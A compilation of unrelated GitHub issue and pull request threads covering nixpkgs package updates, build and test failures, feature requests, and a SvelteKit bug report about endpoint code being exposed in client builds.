teleport: 7.3.2 -> 8.0.1

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/teleport/versions.
meta.description for teleport is: "A SSH CA management suite"
meta.homepage for teleport is: "https://goteleport.com/"
meta.changelog for teleport is: ""
Updates performed

Golang update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
/nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1/bin/.tsh-wrapped passed the binary check.
/nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1/bin/tsh passed the binary check.
/nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1/bin/tctl passed the binary check.
/nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1/bin/teleport passed the binary check.
4 of 4 passed binary check by having a zero exit code.
0 of 4 passed binary check by having the new version present in output.
found 8.0.1 with grep in /nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1
found 8.0.1 in filename of file in /nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1

Rebuild report (if merged into master) (click to expand)

4 total rebuild path(s)

2 package rebuild(s)

2 x86_64-linux rebuild(s)
2 x86_64-darwin rebuild(s)

First fifty rebuilds by attrpath
docbookrx
teleport

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A teleport https://github.com/r-ryantm/nixpkgs/archive/385822eca15e0739ee3001cb4bbdc356618aeb3b.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1
ls -la /nix/store/zwccal3qzp6i79gddjcpbkp1sfmyv41n-teleport-8.0.1/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

teleport

Maintainer pings
cc @sigma @tomberek @freezeboy @kalbasit for testing.

#150717


Inconsistency between: Dice score and Dice loss

We often observe inconsistency between the Validation Dice loss during training and the Dice score on the testing set.
This inconsistency is mainly visible on the MS lesion dataset.
A very probable reason is the different way these two functions are dealing with empty GT and empty pred.
--> Dice loss returns 1 (thanks of the smooth param): https://github.com/neuropoly/ivado-medical-imaging/blob/master/ivadomed/losses.py#L12
--> Dice score returns np.nan: https://github.com/neuropoly/ivado-medical-imaging/blob/master/ivadomed/metrics.py#L64
A naive solution would be to call dice_score in dice_loss --> but the optimiser would not appreciate to receive np.nan (this is the reason why the two functions have been separated until now).
Any thoughts? :-)

Closed with #188


feat: Unifying EngineServerURL

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


http-prompt: 0.11.1 -> 0.11.2

Semi-automatic update generated by https://github.com/ryantm/nixpkgs-update tools.
This update was made based on information from https://repology.org/metapackage/http-prompt/versions.
Version release notes (from GitHub)
* Fix bug: Handle OpenAPI `basePath` properly (#140, #141)
These checks were done:

built on NixOS
/nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2/bin/.http-prompt-wrapped passed the binary check.
/nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2/bin/http-prompt passed the binary check.
2 of 2 passed binary check by having a zero exit code.
2 of 2 passed binary check by having the new version present in output.
found 0.11.2 with grep in /nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2
directory tree listing: https://gist.github.com/9cc6cb35afe53057b07f364f2b4bfae8
du listing: https://gist.github.com/7ef9ede9ef7a82a304847cf671cef769

meta.description for http-prompt is: '"An interactive command-line HTTP client featuring autocomplete and syntax highlighting"'.
This build is cached with Cachix. To use the cache follow these instructions:
One time setup in nixpkgs Git checkout:
cachix use r-ryantm
git remote add r-ryantm https://github.com/r-ryantm/nixpkgs.git

Test this build:
git fetch r-ryantm && git checkout 44bd5ab0bc44fc8de7ef8a629af0abf94953168e && nix-shell --pure -I nixpkgs=. -p http-prompt

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: http-prompt
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

Success on x86_64-linux (full log)
Attempted: http-prompt
Partial log (click to expand)
/build/source
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2
strip is /nix/store/4qvrxzxa535y8304mk195x50b6p9607d-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2/lib  /nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2/bin
patching script interpreter paths in /nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2
checking for references to /build in /nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2...
wrapping `/nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2/bin/http-prompt'...
running install tests
/nix/store/1gzy7b5js44k972zrjzd5g2rjk00l901-http-prompt-0.11.2

Failure on aarch64-linux (full log)
Attempted: http-prompt
Partial log (click to expand)
copying path '/nix/store/9g5v9c8dkwm6w9jjc89xabxsmsya9hx2-perl-5.24.3' from 'https://cache.nixos.org'...
copying path '/nix/store/fh8z4sniyv18b4jf32f3gnn862bvwc3f-python-2.7.15' from 'https://cache.nixos.org'...
copying path '/nix/store/21i2lpxrlmp79kcwnp2n8h3y64k3m6h6-hook' from 'https://cache.nixos.org'...
acquiring/releasing lock: Resource deadlock avoided
acquiring/releasing lock: Resource deadlock avoided
cannot build derivation '/nix/store/rkgvhbr4wvyh44vyhyjd1fw25170a7a5-source.drv': 2 dependencies couldn't be built
copying path '/nix/store/bcfajhych2830zy44a8q7g9wkjmbalc4-binutils-wrapper-2.30' from 'https://cache.nixos.org'...
copying path '/nix/store/qmm2nb9kizba06zfpqnj23a55bvbzrbj-gcc-wrapper-7.3.0' from 'https://cache.nixos.org'...
cannot build derivation '/nix/store/ba41g0lb04rzl3023aakls1hzd5xyp1q-http-prompt-0.11.2.drv': 12 dependencies couldn't be built
error: build of '/nix/store/ba41g0lb04rzl3023aakls1hzd5xyp1q-http-prompt-0.11.2.drv' failed


.veg (Magix Vegas) support

Feature Request
Is this a New Feature, or a Proposed Change to existing Behavior?
new feature
Description
Describe the new feature, or describe the modification to existing behavior, and provide context as necessary to help with understanding how the feature relates to a workflow or functionality.
I would love to be able to convert from and to sony vegas. I like kdenlive but its import and export function does not work at all. and otioconvert dont know how to make it work, says  otioconvert -i j.kdenlive -o a.xml
Traceback (most recent call last):
File "/home/d-ri/.local/bin/otioconvert", line 8, in
sys.exit(main())
File "/home/---/.local/lib/python3.10/site-packages/opentimelineio/console/otioconvert.py", line 243, in main
result_tl = otio.adapters.read_from_file(
File "/home/-i/.local/lib/python3.10/site-packages/opentimelineio/adapters/init.py", line 137, in read_from_file
return adapter.read_from_file(
File "/home/-/.local/lib/python3.10/site-packages/opentimelineio/adapters/adapter.py", line 119, in read_from_file
result = self._execute_function(
File "/home/d-i/.local/lib/python3.10/site-packages/opentimelineio/plugins/python_plugin.py", line 153, in _execute_function
return (getattr(self.module(), func_name)(**kwargs))
File "/home/d-/.local/lib/python3.10/site-packages/opentimelineio_contrib/adapters/kdenlive.py", line 237, in read_from_string
raise RuntimeError("Can't find main tractor")
RuntimeError: Can't find main tractor
Context

Hi @amakuramio - It looks like maybe there are two separate issues here? We've been moving the adapters out of the core into separate repos. Can you try the KDE maintained KDENLive adapter and see if that solves the exception you're running into? If that other adapter has issues, that team would be better suited to help out - unfortunately we're not kdenlive experts.
The OpenTimelineIO core team is shifting focus away from adding new adapters so we can concentrate on core enhancements. There is documentation about how to create new adapters available - we encourage interested parties to follow that guide. We're always happy to help with guidance, but the team likely won't be adding any new format support to the main library.


(winscp*) Exclude RC versions from update

Description
Exclude RC versions from update
Motivation and Context
Fixes #823
How Has this Been Tested?
Tested locally
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Migrated package (a package have been migrated from another repository)

Checklist:

[x] My code follows the code style of this repository.
[ ] My change requires a change to documentation (this mean usually the notes in the description of a package).
[ ] I have updated the documentation accordingly (this mean usually the notes in the description of a package).
[x] All files is up to date with the latest Contributing Guidelines
[ ] The added/modified package passed install/uninstall in the chocolatey test environment.
[x] The changes only affect a single package (not including meta package).

I think in the future it would be better to support the rc builds as well, but for now it's fine to ignore them.


I need metadata for a measurement

Is there a way to find out which agent wrote a particular measurement to influxDB?
Basically where the data is coming from?

I do not believe this is possible and I do not think this would be feasible to do.
If you have a specific problem and wish for help, the community might be able to help. I don't really know if what you are asking for is possible though.


INS-3584: pass request to AM.client.GetObject

moving towards execution order

@ruz @andreyromancev It looks like it's easier to force check of RequestID.
The reason we can't do it is alternative logic for Prototypes, but that easily fixed with appending next check - if object we trying to fetch is prototype and it's prototype of request passed with RequestID - than allow execution.
Not my call to force you to implement that, but i think that check should be mandatory.


Failed Expects/Ensures missing backtrace/do not panic

/Users/andreas/dev/includeos/lib/uplink/config.cpp:61:read Expects failed: config_.url.is_valid() && "Invalid URL given (may have missing scheme)"
<stubtrace> stubbed syscall munmap  called
<stubtrace> stubbed syscall munmap  called
<stubtrace> stubbed syscall munmap  called
     [ Kernel ] Service exiting with status 67

[ SUCCESS ] process exited

Maybe a bit weird to just exit. I rather like having Panic with a reason and stack trace to see what lead to me messing up. Some things are also dependent on panic to happen (like reboot etc).
Opinions?

Solved with https://github.com/hioa-cs/IncludeOS/pull/1812


fix(integration): flaky test_backuptarget_available_during_engine_imagit push --set-upstream origin fix-test_backuptarget_available_during_engine_image_not_ready

Which issue(s) this PR fixes:
Issue None
What this PR does / why we need it:
Handles patch failure.
Special notes for your reviewer:
Additional documentation or context
https://github.com/longhorn/longhorn-manager/pull/2653#issuecomment-1966403772

Test results:

https://ci.longhorn.io/job/private/job/longhorn-tests-regression/6557/
https://ci.longhorn.io/job/private/job/longhorn-tests-regression/6558/

@c3y1huang see if we need to backport this.

@mergify backport v1.5.x v1.6.x


Move Vulkan to SDK/Vendored Loader

This PR does the following:
For all OSes:

Bumps the Vulkan SDK requirement to 1.3.216
As of 1.3.216, opts in to non-conformant driver usage (to allow MoltenVK to continue functioning and to not break non-conformant drivers within Windows / Linux)
Allows for usage of an installed Vulkan SDK via the SDK found on the PATH or provided in NOVELRT_VULKAN_SDK_PATH (primarily for macOS but can be used on Linux/Windows)
Vendors the required headers and loader if an SDK is not found

For macOS specifically:

Builds MoltenVK if the SDK is not found for macOS
Allows the samples to find MoltenVK_icd.json if MoltenVK is being vendored.

I believe VSCode was doing weird stuff, so if there's formatting issues (besides what clang-format identifies, I'm mainly mentioning CMakeLists here), I have no problem fixing that


substrait_integration integration tests are failing

Describe the bug
substrait_integration integration tests are failing
To Reproduce
on main at 9f530dd1987d863dd4de99198df5b2c3e242bf6e
cargo test -p datafusion-substrait

Fails  like this:
failures:

---- cases::roundtrip_logical_plan::roundtrip_literal_list stdout ----
Error: Internal("Expected a simplified result, but none was found")

---- cases::roundtrip_logical_plan::roundtrip_values stdout ----
Error: Internal("Expected a simplified result, but none was found")

failures:
    cases::roundtrip_logical_plan::roundtrip_literal_list
    cases::roundtrip_logical_plan::roundtrip_values

test result: FAILED. 133 passed; 2 failed; 7 ignored; 0 measured; 0 filtered out; finished in 0.15s

error: test failed, to rerun pass `-p datafusion-substrait --test substrait_integration`

Expected behavior
I expect

the tests to pass
These tests are run as part of CI

Additional context
No response

It would be sweet if someone could git bisect and figure out when these started failing

Hmm, the two tests are failing for me locally as well. However they are run in CI, and there they pass:
     Running tests/substrait_integration.rs (target/debug/deps/substrait_integration-3d7ea520729be616)

running 142 tests
test cases::consumer_integration::tests::tpch_test_03 ... ok
..
test cases::roundtrip_logical_plan::roundtrip_literal_list ... ok
..
test cases::roundtrip_logical_plan::roundtrip_values ... ok
..

test result: ok. 135 passed; 0 failed; 7 ignored; 0 measured; 0 filtered out; finished in 1.51s

vs locally I get same as you:
failures:
    cases::roundtrip_logical_plan::roundtrip_literal_list
    cases::roundtrip_logical_plan::roundtrip_values

test result: FAILED. 133 passed; 2 failed; 7 ignored; 0 measured; 0 filtered out; finished in 0.27s

bisect lead to https://github.com/apache/datafusion/commit/11d49b49dd3361e975fb67f66f40715bdaf4650e. Specifically, this change: https://github.com/apache/datafusion/pull/13594/files#diff-d195b6dfaaed44b9828e145dc50c075c77b7faf8f44783ca5e6eda2c617af928L39


it is not possible to create virtual FK between views

System information:

Operating system (distribution) and version Windows 10
DBeaver version <IP_ADDRESS>102281712
Additional extensions

Connection specification:

Database name and version SQL Server 2019
Driver name
Do you use tunnels or proxies (SSH, SOCKS, etc)?

Describe the problem you're observing:
I try to create virtual FK between views, but dbeaver doesn't accept them
Steps to reproduce, if exist:

define virtual PK on some views
try to define virtual FK between views

Here is an example:
Index_gross is a view. I can define a virtual PK and some virtual FK between this view and some tables
":Index_gross": {
  "constraints": {
    "pk_Index_gross": {
      "type": "vpk",
      "attributes": [
        "index_guid"
      ]
    }
  },
  "foreign-keys": [
    {
      "entity": "database://microsoft-177b4c65f69-4b8d1d14f182fa5d/dhw_self/org.jkiss.dbeaver.ext.mssql.model.SQLServerSchema/repo/org.jkiss.dbeaver.ext.mssql.model.SQLServerTable/Index_Settings",
      "constraint": "PK_Index_Settings",
      "attributes": {
        "index_guid": "index_guid"
      }
    },
    {
      "entity": "database://microsoft-177b4c65f69-4b8d1d14f182fa5d/dhw_self/org.jkiss.dbeaver.ext.mssql.model.SQLServerSchema/repo/org.jkiss.dbeaver.ext.mssql.model.SQLServerTable/RepoObject",
      "constraint": "PK_RepoObject",
      "attributes": {
        "parent_RepoObject_guid": "RepoObject_guid"
      }
    }
  ]
},

Now I try to add one more virtual FK between the same column and another view, I can select them:

But when I press OK it will be transformed into "?"

And the same issue in the JSON file:
":Index_gross": {
  "constraints": {
    "pk_Index_gross": {
      "type": "vpk",
      "attributes": [
        "index_guid"
      ]
    }
  },
  "foreign-keys": [
    {
      "entity": "database://microsoft-177b4c65f69-4b8d1d14f182fa5d/dhw_self/org.jkiss.dbeaver.ext.mssql.model.SQLServerSchema/repo/org.jkiss.dbeaver.ext.mssql.model.SQLServerTable/Index_Settings",
      "constraint": "PK_Index_Settings",
      "attributes": {
        "index_guid": "index_guid"
      }
    },
    {
      "entity": "database://microsoft-177b4c65f69-4b8d1d14f182fa5d/dhw_self/org.jkiss.dbeaver.ext.mssql.model.SQLServerSchema/repo/org.jkiss.dbeaver.ext.mssql.model.SQLServerTable/RepoObject",
      "constraint": "PK_RepoObject",
      "attributes": {
        "parent_RepoObject_guid": "RepoObject_guid"
      }
    },
    {
      "entity": null,
      "constraint": null,
      "attributes": {
        "parent_RepoObject_guid": "RepoObject_guid"
      }
    }
  ]
},

The first idea was, that I can't create virtual keys for the same column. But the issue is: I can't create any virtual FK between views.
If that is the case, then the virtual PF would be useless for me, because I want to use it primarily for views and for relationships between views.
Include any warning/errors/backtraces from the logs

Thank you for your update. It looks like the problem was solved. This issue will be closed.
Fell free to reopen this issue, if the problem appears again.


[Bug] [注册中心] 文档管理查询条件bug

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
注册中心，文档中心，过滤查询，下拉框选项名字重复

What you expected to happen
正确显示查询下拉框选项
How to reproduce
注册中心，文档中心，过滤查询
Anything else
No response
Version
0.6.6
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

I will submit a PR to solve this problem.


Move snapshot port into standalone module

Clear and concise description of the problem
Hey 👋
I wonder what do you all think of moving the snapshot port from Jest into an own module for other frameworks to consume. I am maintaining the WebdriverIO project and looking to support snapshot tests for unit and component testing in the browser. From what I can see skimming through the code, next to some utils the only module that is shared is the rpc handler which could be passed into the SnapshotManager and other classes that need it. I am not too familiar with the code base, so I could be totally wrong 🤔
Suggested solution
Move snapshot utility into a standalone module for other test frameworks, e.g. WebdriverIO to consume.
Alternative
An alternative is to just copy the code from this repo into the WebdriverIO project, however this would require double maintenance of the same code. Both project have the same requirements to snapshot testing, so why not maintain a single library for it.
Additional context
I am happy to step in and do the necessary work to ship this.
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that request the same feature to avoid creating a duplicate.

This is amazing @sheremet-va , thank you so much! 🙏


Review of uniprot evidence strings

The review of evidence strings from different providers led us to suggest the following changes to the UniProt evidence strings:

[ ] Remove replicated .literature section in somatic_mutation and genetic_literature evidence strings. The literature references given under .provenance_type.literature.references are repeated at .literature.references for 284+4627=4911 evidence strings

[ ] uniprot_release can be removed from unique_association_fields since it is also provided at .evidence.provenance_type.database and has the same value for all evidence strings.

[ ] variant_id seems to only be provided in unique_association_fields.

[ ] disease_acronym is only provided in unique_association_fields and the full disease name is provided at disease.name. For completeness sake it would be great if disease_acronym could be added as .disease.acronym in case Open Targets wants to use it in the front end and to be consistent in that all fields in unique_association_fields can also be found in the main evidence string.

[ ] Remove links to association_score_methods (GitHub ticket #374) - only evidence.resource_score.type and evidence.resource_score.value are required by the JSON schema, evidence.resource_score.method does not have to be provided:

    "evidence": {
      "resource_score": {
        "type": "probability",
        "value": 1,
        "method": {
          "description": "Curator inference (either 1.0 or 0.5)",
          "url": "https://github.com/CTTV/association_score_methods/blob/master/CTTV011_UniProt/description.md"
        }
      },

The information provided at https://github.com/opentargets/association_score_methods/blob/master/CTTV011_UniProt/description.md is now also contained in the Open Targets documentation.

Re-assigning to 20.11 as UniProt evidence assessment is ongoing as noted in our release intentions document

Work is dependent on #1141 and mostly deprecated by the new schema work.
The key question remains if we will rescue uniprot as datasource

Work is dependent on #1141 and mostly deprecated by the new schema work.
The key question remains if we will rescue uniprot as datasource


Hyperlink error

at the end under other curricula the hyperlink of Gen AI Course is same as that of the AI Course. When navigated, both of these courses lead to the same link, i.e https://github.com/microsoft/ai-for-beginners

PR has been approved and merged


⚠ Jenkins Plugins Artifactory has degraded performance

In f04e107, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1193 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 4d0ef2f after 40 minutes.


Support mobile web

Hello!
Right now, the layout and input makes it unusable on mobile. It'd be great to have it 🙂

I will take a look it ;)


Update your author profile on the blog

https://blog.meilisearch.com/ghost/#/staff/quentin/

Done!

Done!

Thanks!

Thanks!


Craft 2.4.x and 2.5.x

Is this a Craft 2 plugin instead of a Craft 3 plugin? The Readme says this

This is the Craft 2 version, yes. The Craft 3+ version is here: https://github.com/sjelfull/craft3-imgix


Missing Group Catalog mock.

We need to also include the group mock catalogue. We should also decide if we need to remove the galaxies that are in groups that have been chopped up. Some people might not care and would rather have the full catalogue but this would be very important for any group finder tuning.

This has now been included. We can make both the galaxy catalogue and the group catalogue.
We might need to think about how we filter the group catalog though because at the moment we just dump the whole thing. Probably two steps need to happen:

We go through the groups and remove any groups that don't have any galaxies in the current mock catalogue.
We remove the galaxies that have flagged groups. Or at the very least we need to include flagging information so that the user can remove those sources if they want to.


Eth-Consensus-version header now passed for json block production from VC

When producing a block, JSON payloads require the Eth-Consensus-version header.
Generally using SSZ this was correct, but there was no test case for JSON block production, and it wasn't providing the header correctly.
Because probably 99% of our block production is via SSZ, this was not really visible.
This would not be a problem for local BN+VC, but if the teku VC ever falls back to json (or is instructed to produce JSON), block production could potentially fail if the BN is following spec.
Changed an AT to check both SSZ and JSON block production.
fixes #8753
Documentation

[X] I thought about documentation and added the doc-change-required label to this PR if updates are required.

Changelog

[X] I thought about adding a changelog entry, and added one if I deemed necessary.

Just an addition: If we'd want off spec VCs (doesn't send the header) to work any way, we could use the header with slot fall back selector. We could live with that before completely relying on the header. But tbh it's in the spec now and it's legitimate to expect the consensus version header

Just an addition: If we'd want off spec VCs (doesn't send the header) to work any way, we could use the header with slot fall back selector. We could live with that before completely relying on the header. But tbh it's in the spec now and it's legitimate to expect the consensus version header

yes I have a version with that locally working but I think potentially being spec compliant and updating the changelog is probably a good option.


Update compat and remove redundant fixed

This PR updates the compat on ITensorNetworks and Graphs to more recent versions and removes functions in fixes.jl which were addressed by the PRs in https://github.com/ITensor/ITensorNetworks.jl/pull/195 and https://github.com/ITensor/ITensorNetworks.jl/pull/194

Looks good besides formating, some requests/questions:

Can you bring the workflows up to the current version in here too? (see e.g. ITensors.jl, using actions/checkout@v4 )
Do we want to add the dependabot?
currently using fixes.jl fails for Julia 1.11.0 (they have an open bug about it), any chance we can get rid of it now or overload the add function differently?

Sure I just bought up the workflows to checkout@v4 and setup-julia@v2 . I also formatted.
Not sure what to do about fixes.jl not working with Julia 1.11.0, do you think they will resolve that issue soon? Quite useful to have a fixes.jl here so we can overload ITensorNetworks functionality with ease -- but I'm open to other suggestions.

 I think I've sorted everything out including the fixes.jl, let me know if everything works on your end and then I'm good with merging

Thanks! Yeah no idea what that new formatter version is about. Looks good now though.


Refactor remove old typeloader

Preparations for the removal of the old TypeLoader.

Fields and Relations (and the Fields of Relations) in Models are now injected with their "keynames" - i.e. the field last_name in the model Customer will get the keyname:  Customer__last_name.
the queries for _classDiagram and _Token have been moved from QueryType to their own individual files - the code is copy paste
BaseType was unused after previous PR, and has been deleted
in various EnumTypes, InputTypes and ObjectTypes:

$typeLoader->loadForFieldreplaced with Type::getForField (now using the injected keynames instead of hardcoded strings)
old TypeLoader then removed
some code improvements/cleanup

MutationType has had some code cleanup as well
the key fields in several Type-Config-Arrays now contains an arrow-function for lazy loading
QueryType had some cleanup after the removal of _classDiagram and _Token

Hab den Daniel als reviewer entfernt - weil der heute eh schon ein Review gemacht hat. Und dann solange neu gewürfelt bis jemand anderer als der Daniel oder der Martin (wo heute auch schon mal reviewed hat) ausgewählt wurde.


Updated MM video example

Description
Bugfix due to refactor , added a few packages  @hatianzhang @ravi03071991
Fixes # (issue)
Type of Change
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] This change requires a documentation update

How Has This Been Tested?

[ ] Added new notebook (that tests end-to-end)

Suggested Checklist:

[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] I have added Google Colab support for the newly added notebooks.
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] I ran make format; make lint to appease the lint gods

@hatianzhang the pr didnt auto merge  I guess, can you please have a quick look


Additional points to be documented in the contributing guide

This task is meant to collect the additional points to be documented in the contributing guide:

[ ] using web interface or git rebase to merge changes from the upstream repository in case it was updated since the feature branch creation
[ ] using alerts/info messages
[ ] including images (code snippet + naming of files),
[ ] including code snippets
[ ] README should also propose to use the live/nice version at https://docs.egi.eu/about/contributing/
[ ] using git stash to backup changes uncommitted made to master, creating a feature branch and committing changes

@andrea-manzi , @enolfc do you see additional points that would be worth to be covered?
I will try to address them all at once to avoid doing more mini-PRs.

maybe we can add a section to explain how to propose new sections to be added? Opening a ticket or do a PR?

maybe we can add a section to explain how to propose new sections to be added? Opening a ticket or do a PR?

So it may be something done via a description of the structure: as we don't expect section to be included if they don't fall under the organisation we discussed, ie service-centric, with a section per service.
I also plan to add placeholders for all services that needs to be documented, ideally pointing to their actual documentation so that at least we have something.
We can say that more generically it's advised to open an issue to discuss/propose things, ideally before making a PR, especially/at least for for important changes.

Should we enforce/advocate using a link to the egi.eu service page when naming services?
Like
[EGI High Throughput Compute](https://www.egi.eu/services/high-throughput-compute/)

See https://github.com/EGI-Foundation/documentation/pull/83#issuecomment-709921960.


Update SFA example

Closing this PR. We need a separate example for SFA since subkey has been removed.


Endpoint code is built for / accessible to the client

Describe the bug
Endpoint code is included in the files built for the client:
https://github.com/sveltejs/kit/blob/943a11fea064841b3291599043761c3bd62acc8b/packages/kit/src/core/build/index.js#L112-L116
This was added in 710126d9264b41aa65686dd381027e6e438faedb as part of the service workers pull request.
Logs
There are no errors or warnings in the logs, unless you use a library that can't be built for browsers such as firebase-admin, in which case you get a Vite / Rollup build failed error: See the Stacktraces section
To Reproduce

Use examples/sandbox as a starting point
Put console.log("sensitive info"); at the top of src/routes/doubler.js
Switch to the static adapter (I don't know if the Node or any other adapter will show the problem so easily) in svelte.config.cjs
Build and adapt with the build package script
Recall the generated build folder is meant to be publicly served with e.x. pnpx serve build. Notice in the build folder that the _assets folder has an endpoints folder with the doubler.js code and sensitive info.
You could navigate to site.com/_assets/endpoints/ and the HTTP server show you the files available—yikes!

Expected behavior
Endpoint code shouldn't be included in the files built for the client because it's intended for the server only (they're formerly known as server routes after all).
Stacktraces
If you have a stack trace to include, we recommend putting inside a <details> block for the sake of the thread's readability:

Stack trace
> svelte-kit build

vite v2.0.4 building for production...
transforming (315<EMAIL_ADDRESS>is imported by fast-crc32c?commonjs-external, but could not be resolved – treating it as an external dependency
'request' is imported by request?commonjs-external, but could not be resolved – treating it as an external dependency
transforming (853<EMAIL_ADDRESS>of eval is strongly discouraged, as it poses security risks and may cause issues with minification
✓ 862 modules transformed.
rendering chunks (4)...[vite:esbuild-transpile] Transform failed with 2 errors:
endpoints/doubler.js-cbebd688.js:167765:4: error: Transforming async generator functions to the configured target environment is not supported yet
endpoints/doubler.js-cbebd688.js:167783:16: error: Transforming for-await loops to the configured target environment is not supported yet

Transforming async generator functions to the configured target environment is not supported yet
167763|       * `QueryPartition`s.
167764|       */
167765|      async *getPartitions(desiredPartitionCount) {
   |      ^
167766|          var _a;
167767|          validate.validateInteger('desiredPartitionCount', desiredPartitionCount, {

Transforming for-await loops to the configured target environment is not supported yet
167781|              const stream = await this.firestore.requestStream('partitionQueryStream', request, tag);
167782|              stream.resume();
167783|              for await (const currentCursor of stream) {
   |                  ^
167784|                  ++partitionCount;
167785|                  const currentValues = (_a = currentCursor.values) !== null && _a !== void 0 ? _a : [];

> Transform failed with 2 errors:
endpoints/doubler.js-cbebd688.js:167765:4: error: Transforming async generator functions to the configured target environment is not supported yet
endpoints/doubler.js-cbebd688.js:167783:16: error: Transforming for-await loops to the configured target environment is not supported yet
Error: Transform failed with 2 errors:
endpoints/doubler.js-cbebd688.js:167765:4: error: Transforming async generator functions to the configured target environment is not supported yet
endpoints/doubler.js-cbebd688.js:167783:16: error: Transforming for-await loops to the configured target environment is not supported yet
    at failureErrorWithLog (/Users/babichjacob/Repositories/svelte-kit/node_modules/.pnpm/esbuild@0.8.52/node_modules/esbuild/lib/main.js:1171:15)
    at /Users/babichjacob/Repositories/svelte-kit/node_modules/.pnpm/esbuild@0.8.52/node_modules/esbuild/lib/main.js:1037:33
    at /Users/babichjacob/Repositories/svelte-kit/node_modules/.pnpm/esbuild@0.8.52/node_modules/esbuild/lib/main.js:553:9
    at handleIncomingPacket (/Users/babichjacob/Repositories/svelte-kit/node_modules/.pnpm/esbuild@0.8.52/node_modules/esbuild/lib/main.js:642:9)
    at Socket.readFromStdout (/Users/babichjacob/Repositories/svelte-kit/node_modules/.pnpm/esbuild@0.8.52/node_modules/esbuild/lib/main.js:520:7)
    at Socket.emit (events.js:315:20)
    at addChunk (internal/streams/readable.js:309:12)
    at readableAddChunk (internal/streams/readable.js:284:9)
    at Socket.Readable.push (internal/streams/readable.js:223:10)
    at Pipe.onStreamRead (internal/stream_base_commons.js:188:23)

   ERROR  Command failed with exit code 1.

Information about your SvelteKit Installation:

The output of npx envinfo --system --npmPackages svelte,@sveltejs/kit --binaries --browsers
➜ npx envinfo --system --npmPackages svelte,@sveltejs/kit --binaries --browsers
npx: installed 1 in 1.165s
System:
OS: macOS 11.1
CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor [Hackintosh]
Memory: 75.76 MB / 16.00 GB
Shell: 5.8 - /bin/zsh
Binaries:
Node: 14.15.2 - ~/.nvm/versions/node/v14.15.2/bin/node
Yarn: 1.22.10 - /usr/local/bin/yarn
npm: 6.14.9 - ~/.nvm/versions/node/v14.15.2/bin/npm
Browsers:
Chrome: 89.0.4389.82
Firefox: 86.0
Safari: 14.0.2

Your browser: Browser independent

Your adapter (e.g. Node, static, Vercel, Begin, etc...): Static. No other adapters tested.

Severity
Security issue. Blocks some usage of server-side libraries like the aforementioned firebase-admin.
Additional context
Removing the highlighted code block above solves the issue and doesn't cause any tests to fail. I don't know if there are any features or behaviors that depend on this but don't have tests, though.

I'm struggling with firebase-admin, it' always fails on build with a because it can't read length of undefined
import * as firebaseAdmin from 'firebase-admin';
if (typeof window === 'undefined' && !firebaseAdmin.apps.length) {
